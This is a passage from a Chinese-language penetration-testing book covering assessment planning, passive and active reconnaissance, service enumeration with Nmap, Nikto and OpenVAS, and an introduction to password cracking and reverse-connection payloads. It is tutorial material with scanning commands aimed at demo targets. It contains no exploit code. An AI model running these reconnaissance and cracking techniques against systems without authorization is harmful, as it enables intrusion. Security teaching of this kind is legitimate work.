自动扫描在网络带宽更大的情况下完成得更快
-
漏洞评估的影响(如果有的话)可以很快被观察到,因为网络流量已经减少
-
影响和副作用可以轻松处理(恢复/恢复),因为业务/收入和声誉损失的风险被降到可接受的限度
但在这种方法中可能会有一些例外情况,测试人员需要在工作时间进行评估。其中一种情况可能是需要评估用户工作站的漏洞。由于用户工作站只在工作高峰时间可用,因此只有在工作时间才应扫描该网络段。
总之,这个阶段的结果是:
-
进行漏洞评估的业务和合规需求
-
进行漏洞评估的时间框架(可能会受到某些安全合规要求的约束)
-
工作时间和非工作时间
-
关键资产和非关键资产的测试时间
-
对具有相应 IP 的最终用户工作站列表进行测试
识别利益相关者
漏洞管理采用自上而下的方法。以下是可能参与和/或受漏洞评估影响的利益相关者:
-
高管/高层管理人员:为了实现漏洞评估计划的成功,高层管理人员应支持该活动,通过分配所有必要的资源来支持该活动。
-
IT 安全负责人:这可能是专门的或额外的责任,分配给胜任的人员。通常,这个职位直接向高管/高层管理人员汇报,向高层管理人员提供安全状况的鸟瞰图。为了保持安全合规性,这个职位领导组织中运行的多个 IT 安全项目。
-
VA 主管测试人员:这个职位指的是通常向 IT 安全负责人汇报的专业人员。VA 主管负责:
-
签署工作声明(SoW)
-
保持保密协议
-
检查在特定环境中进行此类测试的法律方面
-
收集要求并定义范围
-
规划漏洞评估
-
管理所需的工具、设备和漏洞评估所需的许可证
-
管理漏洞评估的团队和团队活动
-
在漏洞评估程序中,维护单点联系人(SPOC)与所有利益相关者之间的联系
-
让所有利益相关者了解漏洞评估的活动
-
生成并签署漏洞评估的执行摘要
-
VA 测试人员:VA 测试人员进行以下必要的活动来进行 VA 程序:
-
配置和更新自动化扫描工具/设备
-
监控自动化扫描,以检测任何干扰或未经请求的影响
-
进行手动测试
-
进行概念验证(PoCs)
-
生成详细报告
-
向 VA 主测试人员及时提供更新
-
资产所有者:作为漏洞评估的一部分,每个服务/系统/应用程序/网络/设备都参与其中。所有者负责对可能发生的任何干扰做出响应。所有者应了解其所有权下资产的详细评估计划,并应准备好恢复和恢复计划以减少影响。
-
第三方服务提供商:商业现成(COTS)应用的所有权属于各自的服务提供商。如果范围要求对此类 COTS 资产进行评估,则需要涉及相应的第三方。最近,组织越来越多地选择云服务。因此,需要将相应云服务提供商的 SPOC 纳入程序,以确保 VA 的顺利执行。
-
最终用户:很少情况下,最终用户可能也会受到 VA 程序的影响。
确定漏洞评估的类型
在了解客户的需求后,测试人员需要根据漏洞管理程序的期望、环境、过去的经验和每种类型提供的曝光来创建自己的测试模型。
以下是测试人员需要了解的基本漏洞评估类型。
漏洞评估的类型
以下图表概述了不同类型的漏洞评估:
基于位置的漏洞评估类型
根据测试所在位置,漏洞评估可以分为两种主要类型:
-
外部漏洞评估
-
内部漏洞评估
外部漏洞评估
外部漏洞评估最适合托管公共服务的公共网络上暴露的资产。它是从目标网络外部进行的,因此有助于模拟真实攻击者攻击目标的实际情况。进行外部漏洞评估的主要目的是发现目标系统安全的潜在弱点,如下图所示:
外部漏洞评估主要集中在与目标相关的服务器、基础设施和底层软件组件上。这种类型的测试将涉及对有关目标的公开信息的深入分析,网络枚举阶段,其中识别和分析所有活动目标主机,以及中间安全筛选设备(如防火墙)的行为。然后识别漏洞,验证并评估影响。这是漏洞评估最传统的方法。
内部漏洞评估
内部漏洞评估是针对暴露在私人网络(公司内部)中托管内部服务的资产进行的。内部漏洞评估主要是为了确保网络内部人员不能通过滥用自己的权限未经授权访问任何系统,如下所示:
内部漏洞评估用于识别组织网络内特定系统的弱点。当漏洞评估团队从目标网络内执行测试时,所有外部网关、过滤器和防火墙都被绕过,测试直接针对范围内的系统。内部漏洞评估可能涉及从各种网络段进行测试,以检查虚拟隔离。
基于对环境/基础设施的了解
以下是模拟攻击者视角下的暴露的漏洞评估类型,基于对环境/基础设施的了解。
黑盒测试
在黑盒漏洞评估方法中,漏洞评估测试人员在没有任何关于目标系统的事先知识的情况下进行所有测试。这种测试最接近真实世界的攻击。在理想的黑盒测试场景中,漏洞评估测试人员可能只知道目标组织的名称。他将不得不从零开始收集有关目标的信息,然后逐渐构建和执行各种攻击场景。这种测试通常需要更长的时间来完成,而且需要更多的资源。
白盒测试
白盒漏洞评估是在完全了解目标基础设施、防御机制和通信渠道的情况下进行的测试。这种测试专门旨在模拟通常以完全权限和对目标系统的完全访问权限执行的内部人员攻击。为了启动白盒漏洞评估,目标组织与漏洞评估测试人员分享所有细节,如资产清单、网络拓扑图等。
灰盒测试
灰盒测试是黑盒测试和白盒测试的结合。在这种测试中,漏洞评估测试人员对目标基础设施、防御机制和通信渠道有部分了解。它试图模拟那些由内部人员或有限访问权限的外部人员执行的攻击。与黑盒测试相比,这种测试所需的时间和资源相对较少。
公布和未公布的测试
在公布的漏洞评估中,尝试破坏目标系统是在完全合作并事先知道目标 IT 人员的情况下进行的。漏洞评估测试人员可能会与 IT 人员讨论优先考虑特定系统进行破坏。在未经通知的漏洞评估中,漏洞评估团队不会事先通知目标人员。这是一种意外测试,旨在检查目标组织的安全准备和响应能力。只有高级管理人员会被告知测试情况。
自动化测试
一些组织和安全测试团队不使用个人专业知识,而是更喜欢自动化安全测试。这通常是通过工具来完成的,该工具针对目标系统的主机运行,以评估安全姿态。该工具尝试模拟入侵者可能使用的真实世界攻击。根据攻击是否成功,工具会生成详细的报告。自动化测试可能易于快速执行,但可能会产生大量的假阳性。自动化测试也无法评估架构级别的安全缺陷(设计缺陷)、业务逻辑缺陷和任何其他程序上的缺陷。
经过身份验证和未经身份验证的扫描
为了执行经过身份验证的扫描,扫描工具可以配置为使用由集中目录(域控制器/AD/LDAP)控制的凭据。在执行扫描时,扫描器尝试使用配置的凭据与资产建立远程过程调用(RPC),成功登录后,以提供的凭据的特权级别执行相同特权级别的测试。
经过身份验证的扫描报告了向系统的经过身份验证用户暴露的弱点,因为所有托管服务都可以使用正确的凭据访问。未经身份验证的扫描从系统的公共视角报告了弱点(这是系统对未经身份验证用户的外观)。
经过身份验证的扫描相对于未经身份验证的优势如下:
-
模拟用户视角下的安全姿态
-
提供全面的扫描,覆盖更多暴露的攻击面
-
报告提供了资产上暴露的详细漏洞,这些漏洞可以被恶意用户利用
-
假阳性较少
-
报告的准确性提高了
经过身份验证的扫描相对于未经身份验证的劣势如下:
-
完成扫描需要更多时间,因为它涵盖了更多的扫描签名
-
增加了用于扫描的凭据管理的开销
-
强烈测试签名的参与可能会干扰资产托管的服务
无代理和基于代理的扫描
最新的自动化扫描工具提供了安装在相应资产上的扫描服务的代理。该服务通常以最高可能的特权运行。一旦扫描器接收到来自主机上运行的服务的触发器,该服务就会从扫描器本身在资产上本地运行的扫描中获取该特定资产的相应扫描配置文件。
基于代理的扫描相对于无代理扫描的优势如下:
-
对网络没有额外开销,因为扫描在系统上本地运行
-
无需等待非营业时间来启动对非关键资产的测试
-
扫描间隔可以缩短,有助于保持安全姿态的最新状态
-
无需维护专门用于扫描的凭据
-
提供全面的扫描,覆盖更多暴露的攻击面
-
报告提供了资产上暴露的详细漏洞
-
假阳性较少
-
报告的准确性提高了
基于代理的扫描相对于无代理扫描的劣势如下:
-
代理可能不支持特殊设备(调制解调器、无线电等)和所有操作系统和固件。
-
在每个兼容资产上安装代理——尽管这在大型环境中只需一次活动,但这将是一个挑战
-
管理和保护代理本身——因为代理正在以更高的特权运行服务,这些代理需要非常谨慎地管理和保护
手动测试
手动漏洞评估是最佳选择之一。它受益于经过良好训练的安全专业人员的专业知识。手动测试方法涉及详细的范围界定、规划、信息收集、漏洞扫描、评估和利用。因此,它肯定比自动测试更耗时和资源,但是产生误报的可能性较小。
通常,组织和漏洞评估团队倾向于结合自动化和手动测试,以便充分发挥两者的优势。
估计资源和可交付成果
与任何项目一样,漏洞评估的成功取决于接近实际的估计。来自范围界定和规划阶段的输出有助于估计漏洞评估最重要的因素——完成评估所需的时间。
如果测试人员在受限环境或类似环境中有很好的经验,那么估计是基于以前的经验进行的。如果测试人员对环境不熟悉,则会参考以前的测试报告和沟通来进行估计。此外,测试人员还会考虑范围的增加和变化,第三方服务/服务提供商的参与(如果有的话),并相应地更新估计。
一旦粗略估计完成,就会考虑时间填充,并在预期所需时间上增加时间。这种时间填充通常设置为 20%。这有助于测试人员应对执行过程中可能遇到的任何意外挑战。
以下是在执行漏洞评估过程中可能面临的一些意外挑战/问题:
-
网络安全设备阻止扫描:网络安全设备,如防火墙、入侵防御系统(IPS)和统一威胁管理(UTM),将扫描流量检测为恶意流量,并阻止漏洞扫描器发送的所有请求。一旦在相应的网络安全设备上生成警报,测试人员需要要求网络管理员将自动化扫描器 IP 和手动测试机 IP 列入白名单。
-
资产对某些测试的副作用不响应:某些扫描签名会使资产处于 DoS 模式。在这种情况下,测试人员需要识别这些资产,并调整扫描配置文件,以便对这些系统进行全面扫描。通常,这种对扫描敏感的系统是闭源和开箱即用的解决方案。
-
扫描影响业务关键服务,因此需要突然停止扫描:某些漏洞扫描签名可能会破坏系统上的某些服务。由于业务始终是首要任务,扫描必须停止,并且业务关键服务需要恢复。测试人员需要在非工作时间对这些资产进行单独的扫描,使用较少密集和/或经过调整的扫描配置文件。
-
阻止用于扫描的用户 ID:由于对集中式身份访问管理系统(IDAM)的大量流量,执行经过身份验证的扫描时,登录尝试可能被归类为恶意,并且扫描帐户可能会被阻止。
-
由于扫描流量而导致网络减速,因此在报告生成过程中引入延迟:在执行自动化扫描时,激进和密集的扫描配置会给网络流量带来额外负担。这可能会减慢网络速度,或者使一些网络设备处于故障关闭状态,阻止扫描请求到达资产。
通常,这种填充通常没有完全利用。在这种情况下,为了公平对待客户,测试人员可以利用这些额外的时间为漏洞报告增加更多的价值。例如:
-
深入探讨已识别的关键漏洞,以找出漏洞对整体基础设施安全性的影响
-
运行一些手动 POC,以减少对关键、高度严重的漏洞的误报
-
为利益相关者进行漏洞报告的详细讲解
-
提供有关漏洞关闭的额外指导
时间估算是以测试所需的人时形式进行的,但测试人员还应考虑,为项目部署更多人员并不总是会缩短时间。
例如,当自动漏洞评估套件/扫描器在网络段或资产组上启动测试时,进行测试所需的时间取决于所涉及的基础设施、要扫描的资产数量、资产的性能、网络流量、测试配置文件的强度以及许多其他外部因素。由于自动扫描几乎不需要测试人员的交互,因此在这个阶段部署更多的测试人员并不会减少时间。但手动测试不是这样的情况。手动测试用例可以由多个测试人员同时并行执行,大大缩短时间。
考虑的另一个因素是对资产进行测试的范围或强度。对于关键资产,需要进行深入测试,使用更强烈的扫描配置文件,而对于非关键资产,通常仅需概述即可。运行自动化和手动测试的强烈扫描配置文件所需的时间比正常扫描配置文件的时间要多得多。
时间估算的结果是明确的最后期限。漏洞评估应该始终在预定的日期开始,并在预计的结束日期完成。由于漏洞评估涵盖了庞大的基础设施,许多系统所有者和第三方都积极参与其中。支持漏洞评估的额外责任通常是参与方的负担。因此,为了保持他们在漏洞评估过程中的组织、同步、积极性和支持,明确的最后期限非常重要。
准备测试计划
漏洞评估通常是一个持续进行的练习,定期重复。然而,在给定的时间段内,漏洞评估确实有一个特定的起点和终点,无论进行何种类型的测试。因此,为了确保成功的漏洞评估,需要一个详细的计划。计划可以包括以下几个元素:
-
概述:本节为测试计划提供了高层次的定位。
-
目的:本节说明了进行测试的整体目的和意图。可能存在一些法规要求或客户的明确要求。
-
适用的法律和法规:本节列出了与计划中的测试相关的所有适用的法律和法规。这些可能包括本地和国际法律。
-
适用的标准和指南:本节列出了与计划中的测试相关的所有适用的标准和指南,如果有的话。例如,在 Web 应用程序漏洞评估的情况下,可能会遵循 OWASP 等标准。
-
范围:范围是计划的重要部分,因为它基本上列出了将进行测试的系统。不正确的范围可能严重影响未来的测试交付物。范围必须详细列出,包括目标系统的主机和 IP 地址、Web 应用程序和数据库(如果有的话)以及用于测试的权限。
-
假设:本节主要概述了测试的先决条件必须及时提供给漏洞评估测试人员。这将确保由于操作问题不会出现任何延迟。这也可能包括这样一个事实,即在测试期间,受范围约束的系统不会进行重大升级或更改。
-
方法论:本节涉及将采用的测试方法论类型。根据组织的要求,它可以是黑盒、灰盒或白盒。
-
测试计划:本节详细介绍了谁将执行测试、每日时间表、详细任务和联系信息。
-
参与规则:本节列出了测试期间需要遵循的专有条款和条件。例如,组织可能希望排除某些系统不受自动扫描的影响。这样的明确条件和要求可以在参与规则中提出。
-
利益相关者沟通:本节列出了在整个测试过程中将参与其中的所有利益相关者。及时向所有利益相关者更新测试进展非常重要。必须经高级管理层批准才能包括在内的利益相关者。
-
责任:本节突出了测试期间可能发生的任何行为或事件的责任,这可能对业务运营产生不利影响。责任在双方,即组织和 VA 测试人员。
-
授权批准和签名:一旦所有前述部分都经过仔细起草并达成一致意见,有必要由相关权威签署计划。
全面的测试计划也被称为工作声明(SoW)。
获得批准并签署保密和保密协议
根据具体要求,组织可能选择进行早期讨论中讨论的任何类型的漏洞评估。然而,重要的是漏洞评估得到高级管理层的批准和授权。尽管大多数专业漏洞评估都是以相当受控的方式进行的,但仍然存在某些可能会变得破坏性的可能性。在这种情况下,来自高级管理层的预先批准支持至关重要。
保密协议是测试开始之前 VA 测试人员必须签署的最重要文件之一。该协议确保测试结果得到高度保密处理,并且发现结果只向授权的利益相关者披露。组织内部的漏洞评估团队可能不需要为每次测试签署保密协议,但对于外部团队进行的任何测试,这是绝对必要的。
保密和保密协议
进行漏洞评估的任何外部个人在测试开始之前需要签署保密和保密协议。漏洞评估的整个过程涉及包含关键信息的多个文件。如果这些文件泄露给任何第三方,可能会造成潜在的损害。因此,漏洞评估测试人员和组织必须相互同意并在保密和保密协议中签署条款和条件。以下是签署保密和保密协议的一些好处:
-
确保组织的信息得到高度保密对待
-
为其他许多领域提供保障,例如在发生任何意外事件时的疏忽和责任
保密和保密协议都是强大的工具。一旦协议得到签署,如果信息被故意或无意地泄露给未经授权的第三方,组织甚至有权对测试人员提起诉讼。
总结
进行基础设施漏洞评估之前,有许多先决条件。在本章中,我们试图简要介绍所有这些先决条件。从下一章开始,我们将处理实际的漏洞评估方法论。
第十二章:信息收集
在上一章中,我们讨论了漏洞管理计划的范围和规划。本章是关于学习有关目标系统的各种工具和技术的信息收集。我们将学习应用各种技术并使用多种工具,以有效地收集有关范围内目标的尽可能多的信息。从这个阶段收集到的信息将被用作下一个阶段的输入。
本章中,我们将涵盖以下主题:
-
定义信息收集
-
被动信息收集
-
主动信息收集
什么是信息收集?
信息收集是实际评估的第一步。在使用漏洞扫描仪扫描目标之前,测试人员应该更多地了解测试范围内的资产的详细信息。这将帮助测试团队为扫描优先考虑资产。
信息收集的重要性
“给我六个小时砍倒一棵树,我将花前四个小时磨削斧头。”
这是亚伯拉罕·林肯的一句非常古老而著名的名言。同样适用于在执行任何安全评估之前尽可能多地收集信息。除非您对目标了如指掌,否则您将无法成功执行其安全评估。对于目标具有全方位的了解,并通过所有可用的来源收集有关它的所有可能信息是至关重要的。
一旦您确信已经收集到足够的信息,那么您可以非常有效地计划实际的评估。信息收集可以分为两种类型,如下节所述:被动信息收集和主动信息收集。
被动信息收集
被动信息收集是一种技术,其中不直接与目标进行联系以收集信息。所有信息都是通过可能是公开可用的中间来源获取的。互联网上有许多有用的资源可以帮助我们进行被动信息收集。接下来将讨论一些这样的技术。
以下图表描述了被动信息收集的工作原理:
以下是它的工作原理:
-
客户端系统首先向中间系统发送请求
-
中间系统探测目标系统
-
目标系统将结果发送回中间系统
-
中间系统将其转发回客户端
因此,客户端与目标系统之间没有直接联系。因此,客户端对目标系统部分匿名。
反向 IP 查找
反向 IP 查找是一种用于探测任何给定 IP 地址所托管的所有域的技术。因此,您只需要提供目标 IP 地址,然后您将返回托管在该 IP 地址上的所有域。一个这样的反向 IP 查找工具可以在www.yougetsignal.com/tools/web-sites-on-web-server/
上在线使用。
反向 IP 查找仅适用于面向互联网的网站,并不适用于托管在内部网络上的网站。
站点报告
一旦您获得目标域名,您可以获得有关该域名的许多有用信息,例如其注册商、域名服务器、DNS 管理员、使用的技术等。 Netcraft,可在toolbar.netcraft.com/site_report
上在线使用,是一个非常方便的工具,可以在线获取域名信息:
站点存档和回溯
对于任何给定的网站来说,定期进行更改是非常常见的。通常,当网站更新时,终端用户无法看到其先前的版本。然而,该网站archive.org/
可以让您查看给定网站的以前版本。这可能会揭示一些您正在寻找的信息,但在网站的最新版本中并不存在:
网站元数据
获取目标网站的元数据可以提供大量有用的信息。该网站desenmascara.me
为任何给定的目标网站提供元数据。元数据通常包括域信息、标头标志等,如下截图所示:
使用 Shodan 查找易受攻击的系统
Shodan 是一个可以从漏洞利用的角度提供非常有趣结果的搜索引擎。Shodan 可以有效地用于查找所有互联网连接设备的弱点,如网络摄像头、IP 设备、路由器、智能设备、工业控制系统等。Shodan 可以在www.shodan.io/.
上访问
以下截图显示了 Shodan 的主屏幕。您需要创建一个帐户并登录以发出搜索查询:
如下截图所示,Shodan 提供了一个开箱即用的 Explore 选项,提供了属于最受欢迎搜索查询的搜索结果:
以下截图显示了在线网络摄像头的搜索结果。搜索结果可以根据其地理位置进一步分类:
使用 Maltego 进行高级信息收集
Maltego 是一个非常强大、有能力和专业的信息收集工具。默认情况下,它是 Kali Linux 的一部分。Maltego 有许多信息来源,可以为任何给定的目标收集信息。从 Maltego 的角度来看,目标可以是姓名、电子邮件地址、域、电话号码等。
您需要注册一个免费帐户才能访问 Maltego。
以下截图显示了 Maltego 的主屏幕:
以下截图显示了对域www.paterva.com
的样本搜索结果。在 Maltego 中,搜索查询被称为transform。一旦转换完成,它会呈现所获得信息的图形。图的所有节点都可以根据需要进一步转换:
theHarvester
拥有属于目标系统/组织的电子邮件地址可能在渗透测试的后续阶段中证明是有用的。theHarvester 帮助我们收集属于我们目标系统/组织的各种电子邮件地址。它使用各种在线来源来收集这些信息。以下截图显示了 theHarvester 的各种参数:
root@kali:~# theharvester -d demo.testfire.net -l 20 -b google -h output.html
上述语法将在域demo.testfire.net上执行theharvester
,并使用 Google 作为搜索引擎查找最多 20 个电子邮件 ID,然后将输出存储在output.html
文件中。
主动信息收集
与被动信息收集不同,后者涉及中间系统来收集信息,主动信息收集涉及与目标的直接连接。客户端直接与目标探测信息,中间没有系统。虽然这种技术可能比被动信息收集揭示更多信息,但目标系统总是有可能触发安全警报。由于与目标系统有直接连接,所有信息请求都将被记录,以后可以追溯到来源。下图描述了主动信息收集,其中客户端直接探测目标系统:
使用 SPARTA 进行主动信息收集
SPARTA 是一个出色的主动信息收集工具。它是默认的 Kali 设置的一部分。以下屏幕截图显示了 SPARTA 的主屏幕。在左窗格中,您可以简单地添加要探测的 IP/host:
在将 IP/host 输入 SPARTA 后,它会迅速触发各种工具和脚本,从 Nmap 开始。它会进行快速端口扫描,并进行服务识别。它还提供目标可能正在运行的各种 Web 界面的截图,最有趣的是,它还会自动尝试检索目标系统上运行的各种服务的密码。
以下屏幕截图显示了 SPARTA 扫描中的样本结果:
Recon-ng
Recon-ng 是一个非常强大和灵活的工具,能够进行被动和主动信息收集。它有许多模块,可以插入并触发以按需收集信息。它的功能与 Metasploit 非常相似。
以下屏幕截图显示了作为 Recon-ng 一部分的各种模块:
我们可以选择我们喜欢的任何模块,然后执行它,如下图所示:
Recon-ng 确实是一个提供有关目标系统丰富信息的工具。您可以探索 Recon-ng 的各种模块,以更好地了解其方面和可用性。
Dmitry
Dmitry 是 Kali Linux 中的另一个多才多艺的工具,能够进行被动和主动信息收集。它可以执行 whois 查找和反向查找。它还可以搜索子域、电子邮件地址,并进行端口扫描。如下图所示,它非常易于使用:
root@kali:~# dmitry -wn -o output.txt demo.testfire.ne
前面的命令执行了 whois 查找,并从 Netcraft 检索了站点信息,然后将输出写入文件output.txt
。
总结
在本章中,我们了解了信息收集的重要性,以及被动和主动信息收集等各种类型的信息收集。我们还研究了使用各种工具来协助我们进行信息收集的过程。
第十三章:枚举和漏洞评估
本章是关于探索枚举范围内目标的各种工具和技术,并对其进行漏洞评估。
读者将学习如何使用本章讨论的各种工具和技术枚举目标系统,并将学习如何使用专门的工具(如 OpenVAS)来评估漏洞。
本章将涵盖以下主题:
-
什么是枚举
-
枚举服务
-
使用 Nmap 脚本
-
使用 OpenVAS 进行漏洞评估
什么是枚举?
我们已经在上一章中看到了信息收集的重要性。一旦我们对目标有了一些基本信息,枚举就是下一个逻辑步骤。例如,假设国家 A 需要对国家 B 发动攻击。现在,国家 A 进行了一些侦察工作,并得知国家 B 有 25 枚能够进行还击的导弹。现在,国家 A 需要确切地了解国家 B 的导弹是什么类型、制造商和型号。这种枚举将帮助国家 A 更精确地制定攻击计划。
同样,在我们的情况下,假设我们已经知道我们的目标系统在端口80
上运行某种 Web 应用程序。现在我们需要进一步枚举它是什么类型的 Web 服务器,应用程序使用的是什么技术,以及其他相关细节。这将帮助我们选择准确的漏洞利用并攻击目标。
枚举服务
在开始枚举目标上的服务之前,我们将在目标系统上进行快速端口扫描。这次,我们将使用一个名为Unicornscan的工具,如下截图所示:
端口扫描返回了我们目标系统上开放端口的列表,如下截图所示:
现在我们已经获得了目标系统上开放端口的列表,下一个任务是将这些开放端口对应的服务进行关联,并进一步枚举它们的版本。枚举服务非常关键,因为它为进一步的攻击奠定了坚实的基础。在本节中,我们将讨论使用 Nmap 枚举各种服务的技术。
HTTP
超文本传输协议(HTTP)是用于提供网络内容的最常见的协议。默认情况下,它在端口80
上运行。枚举 HTTP 可以揭示许多有趣的信息,包括它正在提供的应用程序。
Nikto 是一个专门用于枚举 HTTP 服务的工具,它是默认 Kali Linux 安装的一部分。以下截图显示了 Nikto 工具中各种可用选项:
我们可以使用nikto -host <目标 IP 地址>
命令来枚举 HTTP 目标,如下截图所示:
Nmap 也可以有效地用于枚举 HTTP。以下截图显示了使用 Nmap 脚本执行的 HTTP 枚举。语法如下:
nmap --script http-enum <Target IP address>
http-enum
Nmap 脚本的输出显示了服务器信息以及各种有趣的目录,可以进一步探索。
FTP
文件传输协议(FTP)是用于在系统之间传输文件的常用协议。FTP 服务默认在端口21
上运行。枚举 FTP 可以揭示有趣的信息,如服务器版本以及是否允许匿名登录。我们可以使用 Nmap 来枚举 FTP 服务,语法如下:
nmap -p 21 -T4 -A -v <Target IP address>
以下截图显示了使用 Nmap 枚举 FTP 的输出。它显示 FTP 服务器是 vsftpd 2.3.4,并且允许匿名登录:
SMTP
简单邮件传输协议(SMTP)是负责传输电子邮件的服务。该服务默认运行在端口25
上。枚举 SMTP 服务以了解服务器版本以及其接受的命令是有用的。我们可以使用以下 Nmap 语法来枚举 SMTP 服务:
nmap -p 25 -T4 -A -v <Target IP address>
以下截图显示了我们发出的枚举命令的输出。它告诉我们 SMTP 服务器是 Postfix 类型,并给出了它接受的命令列表:
SMB
服务器消息块(SMB)是一个非常常用的用于共享文件、打印机、串口等服务。从历史上看,它一直容易受到各种攻击。因此,枚举 SMB 可以为进一步精确的攻击计划提供有用的信息。为了枚举 SMB,我们将使用以下语法并扫描端口139
和445
:
nmap -p 139,445 -T4 -A -v <Target IP address>
以下截图显示了我们的 SMB 枚举扫描的输出。它告诉我们正在使用的 SMB 版本和工作组详细信息:
DNS
域名系统(DNS)是最广泛使用的用于将域名转换为 IP 地址和反之的服务。DNS 服务默认运行在端口53
上。我们可以使用以下 Nmap 语法来枚举 DNS 服务:
nmap -p 53 -T4 -A -v <Target IP address>
以下截图显示了目标系统上 DNS 服务器的类型是 ISC bind 版本 9.4.2:
SSH
安全外壳(SSH)是用于在两个系统之间安全传输数据的协议。这是 Telnet 的有效和安全替代方案。SSH 服务默认运行在端口22
上。我们可以使用以下 Nmap 语法来枚举 SSH 服务:
nmap -p 22 -T4- A -v <Target IP address>
以下截图显示了我们执行的 SSH 枚举命令的输出。它告诉我们目标正在运行 OpenSSH 4.7p1:
VNC
虚拟网络计算(VNC)主要用于远程访问和管理的协议。VNC 服务默认运行在端口5900
上。我们可以使用以下 Nmap 语法来枚举 VNC 服务:
nmap -p 5900 -T4 -A -v <Target IP address>
以下截图显示了我们执行的 VNC 枚举命令的输出。它告诉我们目标正在运行协议版本为 3.3 的 VNC:
使用 Nmap 脚本
Nmap 不仅仅是一个普通的端口扫描程序。它在提供的功能方面非常多样化。Nmap 脚本就像附加组件,可以用于执行额外的任务。实际上有数百个这样的脚本可用。在本节中,我们将看一些 Nmap 脚本。
http-methods
http-methods
脚本将帮助我们枚举目标 Web 服务器上允许的各种方法。使用此脚本的语法如下:
nmap --script http-methods <Target IP address>
以下截图显示了我们执行的 Nmap 脚本的输出。它告诉我们目标 Web 服务器允许 GET、HEAD、POST 和 OPTIONS 方法:
smb-os-discovery
smb-os-discovery
脚本将帮助我们根据 SMB 协议枚举操作系统版本。使用此脚本的语法如下:
nmap --script smb-os-discovery <Target IP address>
以下截图显示了枚举输出,告诉我们目标系统正在运行基于 Debian 的操作系统:
http-sitemap-generator
http-sitemap-generator
脚本将帮助我们创建目标 Web 服务器上托管的应用程序的分层站点地图。使用此脚本的语法如下:
nmap --script http-sitemap-generator <Target IP address>
以下截图显示了在目标 Web 服务器上托管的应用程序生成的站点地图:
mysql-info
mysql-info
脚本将帮助我们枚举 MySQL 服务器,并可能收集服务器版本、协议和盐等信息。使用此脚本的语法如下:
nmap --script mysql-info <Target IP address>
下面的屏幕截图显示了我们执行的 Nmap 脚本的输出。它告诉我们目标 MySQL 服务器版本是5.0.51a-3ubuntu5
,还告诉了盐的值:
使用 OpenVAS 进行漏洞评估
现在我们已经熟悉了枚举,下一个逻辑步骤是执行漏洞评估。这包括探测每个服务可能存在的开放漏洞。有许多商业和开源工具可用于执行漏洞评估。一些最受欢迎的工具包括 Nessus、Nexpose 和 OpenVAS。
OpenVAS 是一个由多个工具和服务组成的框架,提供了一种有效和强大的漏洞管理解决方案。有关 OpenVAS 框架的更详细信息,请访问www.openvas.org/
。
最新的 Kali Linux 发行版默认不包含 OpenVAS。因此,您需要手动安装和设置 OpenVAS 框架。以下是您可以在 Kali Linux 或任何基于 Debian 的 Linux 发行版上使用的一组命令:
root@kali:~#apt-get update
root@kali:~#apt-get install openvas
root@kali:~#openvas-setup
在终端中运行上述命令后,OpenVAS 框架应该已经安装并准备就绪。您可以通过浏览器访问https://localhost:9392/login/login.html
URL,如下面的屏幕截图所示:
输入凭据后,您可以看到初始仪表板,如下面的屏幕截图所示:
现在是时候开始第一次漏洞扫描了。为了启动漏洞扫描,打开任务向导,如下面的屏幕截图所示,并输入要扫描的目标的 IP 地址:
一旦在任务向导中输入了目标 IP 地址,扫描就会触发,并且可以跟踪进度,如下面的屏幕截图所示:
在扫描进行中,您可以查看仪表板,以获取扫描期间发现的漏洞的摘要,如下面的屏幕截图所示:
扫描完成后,您可以检查结果,查看所有详细的发现以及严重级别。您可以单击每个漏洞以获取更多详细信息,如下面的屏幕截图所示:
摘要
在本章中,我们学习了枚举的重要性,以及在目标系统上执行有效枚举的各种工具和技术。我们还概述了 OpenVAS 漏洞管理框架,该框架可用于执行有针对性的漏洞评估。
第十四章:获取网络访问
在这一章中,我们将深入了解如何利用各种技术和隐蔽通道获取对被入侵系统的访问权限。我们将学习获取对被入侵系统访问权限所需的各种技能,包括密码破解、生成后门和使用欺骗性社会工程技术。
我们将在本章中涵盖以下主题:
-
获取远程访问
-
破解密码
-
使用后门工厂创建后门
-
使用 Metasploit 利用远程服务
-
使用 RouterSploit 黑客嵌入式设备
-
使用 SET 进行社会工程
获取远程访问
到目前为止,在本书中,我们已经看到了各种技术和工具,可以用来收集有关目标的信息并枚举系统上运行的服务。我们还瞥见了使用 OpenVAS 进行漏洞评估的过程。在遵循了这些阶段之后,我们现在应该已经有足够的信息来实际上入侵系统并获取访问权限。
可以通过以下两种方式之一实现对远程系统的访问:
-
直接访问
-
路由器后面的目标
直接访问
在这种类型中,攻击者直接访问目标系统。攻击者基本上知道目标系统的 IP 地址并远程连接到它。攻击者然后利用目标系统上的现有漏洞来进一步获取访问权限。
路由器后面的目标
在这种情况下,目标机器位于启用了网络地址转换(NAT)的路由器或防火墙后面。目标系统具有私有 IP 地址,并且不能直接通过互联网访问。攻击者只能到达路由器/防火墙的公共接口,但无法到达目标系统。在这种情况下,攻击者将不得不通过电子邮件或信使向受害者发送某种有效载荷,一旦受害者打开有效载荷,它将通过路由器/防火墙返回到攻击者的反向连接。
破解密码
密码是用于将用户认证到系统中的基本机制之一。在我们的信息收集和枚举阶段,我们可能会遇到目标上运行的各种受密码保护的服务,如 SSH、FTP 等。为了获取对这些服务的访问权限,我们将使用以下一些技术来破解密码:
- 字典攻击:在字典攻击中,我们向密码破丨解丨器提供一个包含大量单词的文件。密码破丨解丨器然后尝试将提供的文件中的所有单词作为目标系统上的可能密码。如果匹配成功,我们将得到正确的密码。在 Kali Linux 中,有几个可以用于密码破解的字典。这些字典位于
/usr/share/wordlists
中,如下图所示:
-
暴力破解攻击:如果密码不是我们提供的字典中的任何一个单词,那么我们可能需要发起一个暴力破解攻击。在暴力破解攻击中,我们首先指定最小长度、最大长度和自定义字符集。密码破丨解丨器然后尝试使用这个字符集中形成的所有排列和组合作为目标上的可能密码。然而,这个过程需要大量资源和时间。
-
彩虹表:密码从不以纯文本格式存储在系统中。它始终使用某种算法进行哈希处理,以使其无法读取。彩虹表中包含给定字符集内密码的预先计算的哈希值。如果我们从目标系统获得密码哈希值,那么我们可以将它们输入到彩虹表中。彩虹表将尝试在其现有哈希表中寻找可能的匹配项。这种方法的速度比暴力破解要快得多,但需要大量的计算资源和存储空间来存储彩虹表。此外,如果密码哈希值与盐一起存储,彩虹表将被击败。
识别哈希
正如我们在前一节中学到的,密码从不以纯文本格式存储,而是始终使用某种算法进行哈希处理。为了破解密码哈希,我们首先必须确定使用了什么算法来对密码进行哈希处理。Kali Linux 有一个名为hash-identifier
的工具,它以密码哈希作为输入,并告诉我们可能使用的哈希算法,如下图所示:
破解 Windows 密码
